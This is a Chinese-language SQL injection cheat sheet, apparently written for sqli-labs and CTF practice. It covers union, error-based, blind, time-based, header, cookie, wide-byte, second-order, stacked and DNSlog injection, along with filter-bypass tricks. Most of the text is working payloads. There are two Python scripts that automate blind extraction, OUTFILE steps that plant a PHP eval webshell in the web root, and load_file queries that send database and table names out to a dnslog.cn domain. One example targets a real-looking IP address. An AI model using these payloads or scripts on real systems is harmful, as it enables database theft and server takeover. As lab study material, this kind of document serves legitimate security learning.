sql注入

SQL注入(基于GET类型)

整型参数的判断

通过三步判断(假设1为可执行参数):

  1. 输入1'
  2. 输入1 and 1=1
  3. 输入1 and 1=2

**数字型:**1报错,2正常,3报错

  1. 输入1’ --s
  2. 输入1‘ and 1=1 --s
  3. 输入1’ and 1=2 --s

**字符型:**1正常,2正常,3异常

需要掌握的知识

  1. MySQL查询语句
    1
    2
    3
    4
    5
    6
    7
    8
    --在不知道任何查询条件,查询语句:
    select 要查询的字段 from 库名,表名

    --知道一条查询条件:
    select 要查询的字段 from 库名,表名 where 已知的的字段名='已知的值'

    --知道两条及以上条件
    select 要查询的字段 from 库名,表名 where 已知条件1的字段名='已知条件的值1' and 已知条件2的字段='已知条件2的值' ...
  2. mysql必备常识
    • 自带数据库:information_schema
    • information_schema库中表:SCHEMATA, TABLES, COLUMNS
    • SCHEMATA表的作用:记录了用户创建的所有库名,在字段SCHEME_NAME下面
    • TABLES表的作用:记录了所有用户创建的库名和表名,库名存储在TABLES表中的table_schema字段中;表名存储在TABLES表中的table_name字段中
    • COLUMNS表的作用:存储库名、表名和字段名,其中,table_schema存储数据库名,table_name存储表名,column_name存储字段名
    • concat函数:将多个内容「拼接」成1个字符串(拼接的内容可以是一个查询语句的结果)
    • updatexml() 函数:当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中
    • substr():用于截取字符

SQL联合查询注入

判断是否存在SQL注入(单引号判断法):在参数后面加上单引号?id=1’,如果页面返回错误,则存在SQL注入。因为无论字符型还是数字型都会因为单引号个数不匹配而报错。

  • 判断注入点

    • 一般为网站的url栏
  • 判断注入类型

    • 若在GET请求中?id=1 and 1=1和?id=1 and 1=2都没有报错,则是字符型注入

    • 若在GET请求中?id=1 and 1=1没有报错,但是?id=1 and 1=2有异常或没回显,则是数字型注入

    • 如果id=1 and 1=1和 id=1 and 1=2显示页面正常,判断为字符型注入。而当输入id=1’ and 1=1 --+和id=1’ and 1=2 --+时页面报错,说明不是单引号注入。输入id=1’) and 1=1 --+却显示页面正常,而输入id=1’) and 1=2 --+显示页面异常,则说明是字符型单引号单括号注入

    • 同上述一样,如果id=1") and 1=1 --+页面正常,而id=1") and 1=2 --+页面异常,说明是双引号单括号型注入

  • 判断字段数(判断列数)

    • order by 后面加数字可以判断服务器在查询某个表时所查询的列数。
1
2
3
4
5
http://59.63.200.79:8003/?id=1 order by 1-- qwe
http://59.63.200.79:8003/?id=1 order by 2-- qwe
http://59.63.200.79:8003/?id=1 order by 3-- qwe
http://59.63.200.79:8003/?id=1 order by 4-- qwe
--当我们判断时,发现排序到4的时候报错了,说明这个网站有3个字段
  • 判断回显点

    • 假如存在三个字段,想要判断哪些字段有回显,需要一个错误的语句加上select 1,2,3 --+,那么我这个语句可以是**?id=1’ and 1=2 union select 1,2,3 --+(或者使用?id=-1’ union select 1,2,3 --+)**。(因为是字符型注入,所以?id=1’是正确的语句,而1=2是错误的,因此与后面的select 1,2,3 --+结合即可得出回显语句)
  • 获取数据库名称

database() : 查看当前网站使用的数据库名称

version() :当前sql数据库的版本

user() :当前mysql的用户

在可以回显的字段上面更改为获取数据库名称的命令,即可得到数据库的名称

获取数据库名称可以使用命令database(),例如**?id=1’ and 1=2 union select 1,database(),3 --+**,在字段2上面回显出数据库的名称。

  • 查询表名

**group_concat()**函数将group by 产生的同一个分组中的值连接起来,返回一个字符串结果,说白了就是返回该字段的所有值。

假设当前这个网站所在的数据库名为’security’ ,则可以这样构造注入语句:?id =1’ and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+。

  • 查询字段(列)名

​ 假设我们在查询表名之后查询出来有个表的名字为‘users’,那么我们现在开始查询user这个表中的字段名,构造注入语句:?id=1’ and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+

​ 有时候如果有多个数据库的话记得添加数据库信息

?id=1’ and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’–+

  • 查询字段信息

    构造查询语句:?id=1’ and 1=2 union select 1, group_concat(username),group_concat(password) from users --+(或者用?id=-1’ union select 1,group_concat(username,–,password) from users)

    如果有多个数据库记得构造(加上数据库名前缀):?id=-1’ union select 1,group_concat(username),group_concat(password) from security.users

  • 信息藏在注释中

    可以尝试:union select 1,column_comment from information_schema.cloumns

SQL万能密码

遇到账号密码登录的题目时,首先判断闭合方式,假如闭合方式为单引号闭合,可以尝试输入万能密码为a' or true #(密码也是一样)。

SQL报错注入

一般是使用**updatexml,如果被禁用,则使用extractvalue**,这时就不用添加第三个参数。

  • 判断是否报错

参数中添加单/双引号,页面报错才可进行下一步。

1
?id=1' --a
  • 判断报错条件

    参数中添加报错函数,检查报错信息是否正常回显

    1
    2
    ?id=1' and updatexml(1, '~', 3) --a
    //如果使用extractvalue就不用第三个参数了
  • 脱库

    获取所有数据库

    1
    2
    3
    4
    5
    --使用substr方法
    ?id=1' and updatexml(1, concat('~',substr((select group_concat(schema_name) from information_schema.schemata), 1, 31)), 3) --+

    --使用limit方法(不一定可以)
    ?id=1' and updatexml(1, concat('~', (select group_concat(schema_name) from information_schema.schemata limit 1,1)), 3) --+

    获取所有表

    1
    ?id=1' and updatexml(1, concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'), 1, 31)), 3) --+

    获取所有字段

    1
    ?id=1' and updatexml(1, concat('~', substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 1, 31)), 3) --+

sql报错注入(双查询注入)

  • 需要用到的语句及函数
函数名 函数解析 函数详解
group by 语句 分组语句 根据一个或多个列对结果集进行分组
count 函数 统计函数 返回指定匹配条件的行数
concat 函数 连续字符串函数 将两个字符串连接为一个字符串
floor 函数 向下取整函数 返回小于或等于数字的最大整数值
rand 函数 取随机数函数 返回一个介于0(包括)和 1(不包括)之间的随机数
limit 函数 限制返回行数 指定查询和操作的数量
  • 爆破数据库名称
    1
    ?id=1' union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a --+
  • 爆破数据库表名
    1
    ?id=-1' union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a --+
  • 爆破列名
    1
    ?id=-1' union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.columns group by a --+
  • 爆破字段值
    1
    ?id=-1' union select 1,count(*),concat(0x7e,(select id from emails limit 0,1),0x7e,floor(rand(0)*2)) as a from emails group by a --+

HEAD注入

PHP中的许多预定义变量都是“超全局的 ”,这意味着他们在一个脚本的全部作用域都是可以用的。

这些超全局变量是:

  • $_REQUEST(获取GET/POST)

  • $_POST (获取POST传参)

  • $_GET (获取GET的传参)

  • $_COOKIE (获取COOKIE的值)

  • $_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)

  • $_SERVER[‘HTTP_HOST’] 请求头信息中的Host内容,获取当前域名。

  • $_SERVER[“HTTP_USER_AGENT”] 获取用户相关信息,包括用户浏览器、操作系统等信息。

  • $_SERVER[“HTTP_REFERER”] 获取请求来源

  • $_SERVER[“HTTP_X_FORWARDED_FOR”] 获取浏览用户IP

  • $_SERVER[“REMOTE_ADDR”] 浏览网页的用户ip

  • 获取head头信息,记录到数据库中

    • insert into 表名(字段,字段,字段) values(值,值,值)
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64

      - 为什么会存在head头注入

      - 当目标记录head信息的时候,我们去抓包修改head信息,将sql语句插入到head头里面,目
      标记录的时候,如果没有做过滤,容易把sql语句带入到数据库执行

      - 与报错注入类似,只不过是注入点变成了head的UA信息或者是referer信息。

      ![image-20241206203409686](https://cdn.jsdelivr.net/gh/lxlh1/linxin/images/image-20241206203409686.png)

      #### bool盲注

      ##### 异或注入

      异或注入是盲注的一种类型,因为异或逻辑通常返回的是1和0,所以一般用于盲注中。应用场景是过滤了union [select](https://so.csdn.net/so/search?q=select&spm=1001.2101.3001.7020) and or orderby等一些关键字。还能绕过空格过滤。

      异或符号是“xor”或者“^",相同为0,不相同为1。

      **数字与数字:**

      1^1 ----------------------0

      0^0 ----------------------0

      1^0 ----------------------1

      **字符与字符:**

      字符中如果没有数字或者数字在字母后面在比较时都会转为数字0,

      'admin'=0 'admin12'=0

      而当数字在字母前面时会是在字母前面的一堆数字

      '1admin'=1 '12admin'=12 'admin'=0 'admin12'=0

      **数字与字符:**

      将字符转为数字进行异或操作

      'admin1'^1= 0^1

      'admin'^1= 0^1

      '1admin'^1= 1^1

      **可以自己通过终端mysql数据库进行操作尝试**



      ##### 常规注入

      - ##### 通常是因为开发者将报错信息屏蔽而导致的

      ​ bool盲注常用函数:

      ```sql
      database() 显示数据库名称
      left(a,b) 从左侧截取a的前b位
      substr(a,b,c) 从b位置开始,截取字符串a的c长度
      mid(a,b,c) 从b位置开始,截取字符串a的c长度(与substr一样)
      length() 返回字符串的长度
      Ascii() 将某个字符转换为ascii值
      chr() 将ascll码转换为对应的字符
  • 判断注入类型( 以sqli-labs-less8为例(布尔型单引号GET盲注))
    • 输入?id=1,页面正常,但还是没有显示信息
    • 输入?id=1’页面无回显,应该是报错了
    • 输入?id=1 and 1=2,页面正常,说明不是数字型
    • 输入?id=1’ and 1=2 --+页面发生变化(没有报错),说明是单引号闭合的字符型注入
  • 查数据库版本
    • 输入?id=1’ and left(version(), 1)=5 %23,判断数据库版本的第一个数字是否为5,回显正常,说明第一位就是5
  • 拆解数据库的长度
    • 输入?id=1’ and length(database())=8 %23,数据库长度为 8 时,页面回显正常。这里说明下,长度要一个一个的试。
  • 猜数据库名字
    • 输入?id=1’ and left(database(), 1)>‘a’ --+,数据库我们知道是 security,所以我们看他的第一位是否 大于 a,很明显 s 大于 a 的,因此回显正常。当我们不知情的情况下,可以用二分法来提高注入的效率。测得第一位是s
    • 输入?id=1’and left(database(),2)>‘sa’–+
    • …最终得到是security
  • 拆解表名
    • 输入?id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)=“”–+
    • 已知情况下:?id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)=“users”–+,security里有四张表,limit 3,1 即第四张表 users
  • 拆解字段名
    • 输入?id=1’ and left((select column_name from information_schema.columns where table_schema=database() and table_name=“users” limit x,1),y)=“”–+,通过变换 x 和 y 的值可以得到 username 和 password 这两个字段名
  • 拆解数据
    • 用户名:?id=1’ and left((select username from users limit x,1),y)=“”–+
    • 密码:?id=1’ and left((select password from users limit x,1),y)=“”–+
    • 布尔盲注的手工注入很繁琐,推荐使用 sqlmap 或 脚本
  • 编写脚本(具体情况具体分析,此处以less-5为例)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    import requests

    baseurl = 'http://localhost/sqli-labs-master/Less-5/'
    db_name = ''
    db_lenth = ''
    table_name = ''
    table_length = ''
    columns_name = ''
    columns_length = ''
    result = ''
    # 根据特定字符进行判断
    right = ''

    sql_payloads = ['select database()',
    'select group_concat(table_name) from information_schema.tables where table_schema=database()',
    'select group_concat(column_name) from information_schema.columns where table_schema=database()']


    def dblenth(sql_payload):
    global db_lenth #定义全局变量
    for j in range(1, 100):
    payload = "?id=1' and length(({0}))={1}--+".format(sql_payload, j)
    res = requests.get(baseurl + payload)
    # print(len(res.text))
    if len(res.text) == 704:
    db_lenth = j
    print(j)

    return j


    def dbname(lenth, sql_payload):
    global db_name, result
    for j in range(1, lenth + 1):
    for i in range(32, 127):
    url_payload = "?id=1' and ascii(substr(({0}),{1},1))={2}--+".format(sql_payload, j, i)
    res = requests.get(baseurl + url_payload)
    # 根据字节长度进行判断
    # print(len(res.text))
    if len(res.text) == 704:
    # print(chr(i))
    result += chr(i)
    print(result)
    continue

    return result


    # 获取数据库名
    dblenth(sql_payloads[0])
    db_name = dbname(int(db_lenth), sql_payloads[0])
    print('数据库名为' + db_name)

    # 获取表名
    table_length = dblenth(sql_payloads[1])
    table_name = dbname(int(db_lenth), sql_payloads[1])
    print('表名为' + table_name)

    # 获取列名
    columns_length = dblenth(sql_payloads[2])
    columns_name = db_name = dbname(int(db_lenth), sql_payloads[2])
    print('列名名为' + columns_name)
  • burp结合布尔盲注

    先写好爆破语句

    1
    ?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=100--+

    抓包,然后将请求返给爆破模版,然后在上述的第一个“1”和“100”分别设置为爆破变量。

    第一个“1”设置为数字爆破,范围为1到要爆破的字符长度。

    第一个“100”设置也设置为数字爆破,范围为“33-127”,间隔也是为1。

    然后开始爆破,查看各个字符分别是多少。

    同时可以通过过滤器来过滤自己需要的哪些请求,达到快速筛选的目的。

    image-20241026223125361

时间盲注(延时注入)

  • 一般是在联合注入、报错注入、布尔盲注都无法使用的时候才会考虑
  1. 页面没有回显位置(联合注入无法使用)
  2. 页面不显示数据库的报错信息(报错注入无法使用)
  3. 无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)
  • 判断注入点

尝试下面的payload,延迟五秒以上说明判断成立,即存在注入

1
2
3
4
5
6
?id=1 and if(1,sleep(5),3) -- a
?id=1' and if(1,sleep(5),3) -- a
?id=1" and if(1,sleep(5),3) -- a

--括号及各种过滤类型……
--sleep的时间可以自定义,时间太长效率太低、时间太短则不容易判断。
  • 判断长度

利用if和sleep 判断查询结果的长度,从1开始判断,并以此递增

1
2
3
4
5
?id=1' and if((length(查询语句)=1), sleep(5), 3) --+

--如果页面响应时间超过5秒,说明长度判断正确(sleep(5));
--如果页面响应时间不超过5秒(正常响应),说明长度判断错误,继续递增判断长度。
--if(条件表达式, True, False)
  • 枚举字符

从查询语句结果中截取第一个字符,转换成ascll码,从32开始判断,递增至126

1
2
3
4
?id=1' and if((ascii(substr(查询语句,1,1))=1), sleep(5), 3) --+\

--如果页面响应时间超过5秒,说明字符内容判断正确;
--如果页面响应时间不超过5秒(正常响应),说明字符内容判断错误,递增猜解该字符的其他可能性。
  • 盲注脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    import requests
    import time

    # 将url 替换成你的靶场关卡网址
    # 修改两个对应的payload

    # 目标网址(不带参数)
    url = "http://localhost/sqli-labs-master/Less-9/"
    # 猜解长度使用的payload
    payload_len = """?id=1' and if(
    (length(database()) ={n})
    ,sleep(5),3) -- a"""
    # 枚举字符使用的payload
    payload_str = """?id=1' and if(
    (ascii(
    substr(
    (database())
    ,{n},1)
    ) ={r})
    , sleep(5), 3) -- a"""

    # 获取长度
    def getLength(url, payload):
    length = 1 # 初始测试长度为1
    while True:
    start_time = time.time()
    response = requests.get(url= url+payload_len.format(n= length))
    # 页面响应时间 = 结束执行的时间 - 开始执行的时间
    use_time = time.time() - start_time
    # 响应时间>5秒时,表示猜解成功
    if use_time > 5:
    print('测试长度完成,长度为:', length,)
    return length;
    else:
    print('正在测试长度:',length)
    length += 1 # 测试长度递增

    # 获取字符
    def getStr(url, payload, length):
    str = '' # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
    # 第二层循环,枚举截取字符的每一种可能性
    for n in range(33, 126):
    start_time = time.time()
    response = requests.get(url= url+payload_str.format(n= l, r= n))
    # 页面响应时间 = 结束执行的时间 - 开始执行的时间
    use_time = time.time() - start_time
    # 页面中出现此内容则表示成功
    if use_time > 5:
    str+= chr(n)
    print('第', l, '个字符猜解成功:', str)
    break;
    return str;

    # 开始猜解
    length = getLength(url, payload_len)
    getStr(url, payload_str, length)

  • 借助brup来进行辅助时间盲注

    与bool盲注类似,不同在于爆破后需要开启这两个参数,才能进行加载时间的比较。

    image-20241026223438335

OUTFILE注入

前提条件:

  • secure_file_priv不为null
  • mysql数据库

什么是outfile注入:简单讲就是将一句话木马通过outfile传入网站目录,然后连接上去,就可以你想要进行的操作(理想状态下)

select "<?php eval($_POST['webshell']); ?>",2,3 into outfile "想要保存的路径(windows:C:\\a\\b,linux:/usr/www/html)"--+

知识点补充

secure_file_priv

在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个:

1
2
3
into outfile :将文本写入目标网站
into dumpfile
load_file : 读出目标网站中指定目录下的文件。

因为涉及到在别人的服务器执行写入的操作,因此这里会有一个参数secure_file_priv会限制以上三个函数的作用。

secure_file_priv有3中情况:

1
2
3
空,表示对导入导出无限制。
有指定目录(secure-file-priv=“xxx/xxx/xxx”): 只能向指定目录导入或导出。
null, 禁止导入导出。

因此我们在使用outfile注入的时候,首先要知道参数secure_file_priv是否有指定的目录。我们只能将webshell写入到指定目录下面。同时,执行读写的权限很重要,一般都要是root。

实战(基于LESS-7)

  1. 首先还是跟上面一样,判断出id参数的闭合方式,判断完成后发现是?id=1’))类型

  2. 判断网站的secure_file_priv值:?id=1')) and length(@@secure_file_priv)=0 --+,这里设置为空,所以长度为0就是正解。如果不是的话,就先求长度,然后用ascii()+substr()求每一个字母,最后得出指定路径

  3. 然后进行注入:?id=1')) union select 1,2, "<?php @eval($_POST[python]);?>" into outfile "C:/phpstudy/PHPTutorial/WWW/test.php" --+(注意地址使用斜杠,不能是反斜杠),在这里,我们将一句话木马插入到了自己apache的www目录下。

  4. 然后使用蚁剑进行连接。

宽字节注入

前言

由于sql注入的盛行,不少网站管理员都意识到了这种攻击方式的厉害,纷纷想出不少办法来避免,例如使用一些Mysql中转义的函数addslashes,mysql_real_escape_string等等。其实这些函数就是为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义。

1
2
3
4
5
6
addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
1
2
3
4
5
6
7
8
mysql_real_escape_string() — 将字符串中的特殊字符进行转义
\x00
\n
\r
\
'
"
\x1a

宽字节注入的前提条件

  • 数据库使用GBK编码

注入原理

  • mysql默认使用GBK编码,所以当mysql使用GBk编码时,会认为两个字符是一个汉字
    • 前一个字符ASCII码要大于128,才会得到汉字范围
  • 这就是mysql的特性,因为BGK是多字节编码,它认为两个字节是一个汉字
  • 所以我们在代入参数时,输入 %df%27 ,本来 \ 会转义 %27 ,但 \ (十六进制是 %5C )的编码位数 为92, %df 的编码位数为 223 ,%df%5c符合gbk取值范围(第一个字节129-254,第二个字节64- 254),会解析为一个汉字“運”,这样 \ 就会失去应有的作用。

传入%df’

经过后端php处理 %df'

传到数据库中样子: %df%5c%27 => 運’

image-20240712095241176

二次注入

需要掌握的函数

  • addcslashes() --函数返回在指定的字符前添加反斜杠的字符串。详情点这

  • get_magic_quotes_gpc

  • mysql_real_escape_string

二次注入大致步骤

  • 第一步:插入恶意数据

    进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据

  • 第二步:引用恶意数据

​ 开发者默认存入数据库的数据都是安全的,在进行查询的时候,直接从数据库中取出恶意数据,没有进行进一步检验的处理。

实例(以LESS-24为例)

  • 打开页面发现有一个登录界面,尝试登录admin’#,登录失败
  • 发现右下角有一个创建新用户的界面,创建账户:admin’#,密码:123456
  • 登录刚刚创建的账户,并修改admin‘#的密码为aaa
  • 页面提示密码修改成功,但是实际上修改的是admin的密码,打开数据库即可发现

三:扩展

先了解一下||操作符:在MySQL中,操作符||表示“或”逻辑:

command1||command2

c1和c2其中一侧为1则取1,否则取0

在mssql中||表示连接操作符,不表示或的逻辑

假设我们要找到flag,后端又存在“或”的逻辑,那么只需要把||或的逻辑改成连接符的作用就可以了

这里需要借用到:设置sql_mode=PIPES_AS_CONCAT来转换操作符的作用。(sql_mode设置)

可以如下构建payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag。

堆叠注入

一、堆叠注入的原理

mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔开,而堆叠注入其实就是通过结束符来执行多条sql语句。

比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束

1
select * from student;

如果我们想要执行多条sql那就用结束符分号进行隔开,比如在查询的同时查看当前登录用户是谁

1
select * from student;select current_user();

显而易见堆叠注入就是在不可控的用户输入中通过传入结束符+新的sql语句来获取想要的息,可以通过简单的流程图来了解过程

image-20241002211406453

二、堆叠注入触发条件

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中**mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()**这样的函数,简单总结下来就是

目标存在sql注入漏洞
目标未对";"号进行过滤
目标中间层查询数据库信息时可同时执行多条sql语句

cookie注入

​ 我们知道,一般的防注入程序都是基于“黑名单”的,根据特征字符串去过滤掉一些危险的字符。一般情况下,黑名单是不安全的,它存在被绕过的风险。
有的防注入程序只过滤了通过GET、POST方式提交的数据,对通过Cookie方式提交的数据却并没有过滤,我们可以使用Cookie注入攻击。
​ 简单说, cookie是服务器给客户端的一种加密凭证,通常由客户端存储在本地,比如客户A访问XXXX.com,网页给了客户A一个123的凭证,客户B也去访问那个网址,网站给B一个456的凭证,以后A和B去访问那个网站的时候只要加上了那个凭证网站就可以把两个人分开了。

原理
Cookie最先是由Netscape(网景)公司提出的,Netscape官方文档中对Cookie的定义是这样的:

  • Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。
  • Cookie的用途非常广泛,在网络中经常可以见到Cookie的身影。它通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站和电子商务网站中的“购物车”。
  • Cookie注入简单来说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。
  • 如果开发者直接使用了cookie中的数据,并且没有对其进行校验。那么cookie注入可能就产生了。

典型步骤

如何确定一个网站是否存在Cookie注入漏洞。

  • 寻找形如“.php?id=xx”类的带参数的URL
  • 去掉“id=xx"查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接其作用的。如果正常,则说明可能使用cookie作为参数传递。
  • 使用burp抓包并构造payload
  • 使用常规注入语句进行注入即可

判断get参数是否生效,尝试删除id参数,再去进行访问,看页面是否正常。

  • 如果正常的,说明使用了COOKIE作为参数传递
  • 如果不正常,说明id参数是起了直接作用

修改cookie的方式:

  • 抓包用burp去修改

  • 在浏览器控制台

    1
    2
    3
    4
    document.cookie="id="+escape("1") //输出结果为:id=1

    document.cookie //表示当前浏览器中的cookie变量
    escape() //进行编码
  • 后面就可以正常使用cookie去传参

    1
    2
    3
    4
    5
    6
    document.cookie="id="+escape("1' -- s") //闭合注入点

    判断注入点:
    document.cookie="id="+escape("1' -- s")
    document.cookie="id="+escape("1' and 1=1 -- s")
    document.cookie="id="+escape("1' order by 3 -- s")

base64注入

与cookie注入类似,不同的是需要将在cookie注入中输入的payload进行base64编码,同时注意闭合语句(最好不要使用–+,使用and '即可)。

原理
base64注入是针对传递的参数被base64编码后的注入点进行注入。这种方式常用来绕过一些WAF的检测。如果有WAF,则WAF会对传输中的参数ID进行检查,但由于传输中的ID经过base64编码,所以此时WAF很有可能检测不到危险代码,进而绕过了WAF检测。

判断是否存在注入
对参数进行base64编码,如下所示:id=1,id=1’,id=1 and 1=1,id=1 and 1=2
编码后:id=MQ==,id=MSc=,id=MSBhbmQgMT0x,id=MSBhbmQgMT0y来判断是否存在SQL注入漏洞。

无列名注入

利用join-using注列名

通过系统关键字 join 可建立两表之间的内连接,通过对想要查询列名所在的表与其自身

1
2
3
4
5
6
7
8
9
10
11
12
爆表名
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

爆字段名
获取第一列的字段名及后面每一列字段名
//或者不适用as也是可以的
?id=-1' union select * from (select * from users as a join users as b)as c--+
?id=-1' union select * from (select * from users as a join users b using(id,username))c--+
?id=-1' union select * from (select * from users as a join users b using(id,username,password))c--+
数据库中as作用是起别名,as是可以省略的,为了增加可读性,建议不省略。

image-20241114103025363

首先我们可以看到它使用了联合查询以及子查询,子查询使用了连接,连接了它自己,两张相同的结果赋值给c,但是连接两张相同的表会导致字段重复,所以就可以帮助我们显示在屏幕上。所以我们此时把id拿出来。

1
?id=-1' union select * from (select * from users as a join users as b using (id))as c--+

image-20241114103044634

我们这里以id去连接,可以看到显示username重复,然后我们以id,username去连接:

1
?id=-1' union select * from (select * from users as a join users as b using (id,username))as c--+

image-20241114103113434

这里我们就可以看到显示password重复,我们这下以id,username,password去连接:

1
?id=-1' union select * from (select * from users as a join users as b using (id,username,password))as c--+

image-20241114103137556

好,这里我们就可以知道三个字段取出来了,id,username,password取出来了,列已经取出来了,我们直接正常查。

无列名查询

无列名注入关键就是要猜测表里有多少个列,要一一对应上,上面例子是有5个列
1,2,3,4,5 的作用就是对列起别名,替换为后面无列名注入做准备。

image-20241114104004332

1
select `3` from (select 1,2,3 union select * from users)as a;

这个语句就是先进行联合查询,然后给查询结果存储在别名为a的表里面。

当反引号被禁用时,就可以使用起别名的方法来代替

1
select b from (select 1,2,3 as b union select * from users)as a;

image-20241114104230386

DNSlog注入

在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。
首先需要有一个可以配置的域名,比如:xxx.io,然后通过代理商设置域名 xxx.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 xxx.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。

image-20241207171402212

DNSlog

DNSlog就是DNS的日志,DNS在域名解析的时候会留下域名和解析IP的记录

DNSlog外带原理

DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。原理也就是通过DNS请求后,通过读取日志来获取我们的请求信息。


Load_file函数,功能是读取文件并返回文件内容为字符串。(访问互联网中的文件时,需要在最前面加上两个斜杠 //)

  • 通过DNSlog外带数据库信息

    1
    select load_file(concat('//',(select database()),'.je5i3a.dnslog.cn/1.txt'));
  • 外带表名

    1
    select load_file(concat('//',(select group_concat(table_name separator '_') from  information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));

quine注入

常见的注入点位置

  1. GET参数中的注入

    一般最容易发现,可以在地址栏中获取url和参数

  2. POST中的注入

    一般需要抓包操作,使用burp来进行

  3. User-Agent中的注入

    注入位置在头部的user-agent中

  4. Cookies中注入

    注入位置在头部的cookie中

常见过滤绕过

  • "#"的16进制是“%23
  • 使用**‘1’='1**
or
  • 使用**||**绕过
空格
  • 使用“()”绕过,如select(a)from(b)

  • 使用“/**/”绕过

=
  • "="被过滤:使用“like”绕过,如select(a)from(b)where©like(“aaa”)
单引号
  • 假设被addslashes()函数转义,含有sprintf()函数:在引号前加上"%1$"即可
information_schema.tables
  • //反引号 数据库中如果有以关键词命名的数据或者特殊字符 就用`select`包裹 这样正好过滤了正则匹配
    //information_schema.`tables`
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11

    - ```php
    //使用其他代替information_schema
    sys.schema_auto_increment_columns //需要root
    sys.schema_table_statistics_with_buffer //需要root
    mysql.innodb_table_stats //不需要root
    mysql.innodb_table_index //不需要root
    均可代替 information_schema

    eg:?id=-1' union select 1,concat(table_name),3,4 from mysql.innodb_table_stats--+
    //这个有一个缺陷,就是我们只能拿到表名,这个表里面没有列名,只有数据库以及表名,我们肯定是必须要知道列名才能注入,下面就涉及到了无列名注入。
  • 无列名注入

and
  • 使用**&&**绕过
截断函数
  • substr(flag,1,31) //从flag的第一位开始,截取31位

  • mid(flag,1,20) //从flag的第一位开始,截取20位

  • 从右开始截取字符串
    right(str, length)
    说明:right(被截取字段,截取长度)

  • 从左开始截取字符串

    left(str, length)
    说明:left(被截取字段,截取长度)

双写绕过

假设‘or’被绕过,尝试输入‘oorr’。

  1. 有时候不一定只有一个数据库,所以有时候需要查看所有的数据库,那就需要用到1' union select 1,2,group_concat(schema_name) from information_schema.schemata#
MD5绕过

ffifdyop 的MD5加密结果是 276f722736c95d99e921722cf9ed621c

经过MySQL编码后会变成**'or’6xxx**,使SQL恒成立,相当于万能密码,可以绕过**md5()**函数的加密

关键字绕过

可以使用alter修改,一般用于堆叠注入

image-20241202165232643

SQL注入(基于POST类型)

